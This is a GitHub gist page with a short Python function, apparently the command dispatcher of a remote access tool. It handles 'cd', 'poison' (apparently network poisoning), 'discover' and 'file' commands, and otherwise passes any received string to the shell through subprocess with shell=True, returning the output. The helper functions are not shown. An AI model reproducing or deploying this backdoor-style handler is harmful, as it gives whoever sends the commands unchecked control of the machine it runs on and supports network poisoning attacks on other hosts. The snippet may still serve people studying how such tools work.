Skip to content

Instantly share code, notes, and snippets.

@NimishMishra
Created June 30, 2020 06:02
Show Gist options
  • Save NimishMishra/5d19fd12656cef276f827804f5b82b37 to your computer and use it in GitHub Desktop.
Save NimishMishra/5d19fd12656cef276f827804f5b82b37 to your computer and use it in GitHub Desktop.
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
try:
command.index("poison")
command_splits = command.split(" ")
output = entry(command_splits[1], command_splits[2])
return output
except:
pass
try:
command.index("discover")
command_splits = command.split(" ")
print("here")
print(command_splits[1])
print(command_splits[2])
output = discovery(command_splits[1], command_splits[2])
return output
except:
pass
try:
command.index("file")
output = file_handler(command)
return output
except:
pass
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
output = "Failed to execute command " + str(e)
return output
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment